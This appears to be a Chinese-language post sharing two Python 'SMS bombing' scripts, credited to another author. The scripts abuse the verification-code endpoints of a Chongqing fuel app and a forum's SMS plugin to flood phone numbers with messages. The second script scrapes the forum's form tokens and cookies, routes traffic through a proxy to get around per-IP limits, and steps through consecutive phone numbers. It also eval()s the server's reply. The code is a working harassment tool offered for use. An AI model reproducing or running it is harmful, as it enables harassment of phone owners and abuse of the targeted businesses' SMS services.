一个短信轰炸程序
注明 :本程序非原创,来自于易公子
#!/usr/local/bin/python
# coding=utf-8
import requests
import json
import time
def SMS_Cqjy(PhoneNumber):
'''
重庆加油App短信轰炸接口
:param PhoneNumber: 参数为手机号
:return:
'''
headers = { # 请求头信息
"Accept-Language": "zh-CN,zh;q=0.8",
"User-Agent": "Mozilla/5.0 (Linux; U; Android 4.4.2; zh-cn; MI 6 Build/NMF26X) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30",
"Content-Type": "text/html;charset=utf-8",
"Content-Length": "41",
"Host": "app.zshcqsy.com:8000",
"Connection": "close",
"Accept-Encoding": "gzip, deflate",
}
#发送数据包
data = {"phoneNo": str(PhoneNumber), "sendType": "05"}
data = json.dumps(data)
x = requests.post('http://app.zshcqsy.com:8000/csp_rest/restful/sendMobileCodeMap', data=data, headers=headers)
return x.text,PhoneNumber
for i in range(5):
c =SMS_Cqjy(xxxxxxxx)#这一步是调用函数,必须传参数,参数为手机号
print(c)
time.sleep(70)#程序每隔70秒运行发送一次短信,不要低于60,低于60无效。
##以下是改进后的代码 import requests import json import re for i in range(12): with open('./PhoneNum', 'r') as f: a = int(f.read()) Phone = a # 把这里改成你的手机号码,必须是归属地为重庆的手机号码 html = requests.get('http://bbs.yycqc.com/member.php?mod=register') #html.encoding = 'utf-8' # 这一行是将编码转为utf-8否则中文会显示乱码。 # print(html.text) formhash = re.findall('formhash=........', html.text) s = html.cookies s = str(s) result0 = re.findall('jwSh_d8d7_saltkey=........', s) cookie = str(result0[0]) headers = { # 请求头信息 "Referer": "http://bbs.yycqc.com/member.php?mod=register", "Content-Type": "application/x-www-form-urlencoded", "Cookie": cookie } s = requests.session() s.proxies = {'http': '117.127.0.205:80'} # 设置代理,每个IP只能发送11条短信 print(s.get('http://httpbin.org/ip').json()) # 代理ip信息 x = s.post('http://bbs.yycqc.com/plugin.php?id=zhanmishu_sms:send&no_submit=no_submit&method=send', data=formhash[0] + '&mobile=' + str(Phone), headers=headers, ) print(x.text) c = eval(x.text) if c['code'] == '1': print("短信发送成功%s次,发送号码为%d"%(str(i+1),Phone)) Phone += 1 with open('./PhoneNum', 'w') as f: f.write(str(Phone)) if c['code'] == '-1': print('您操作太频繁了')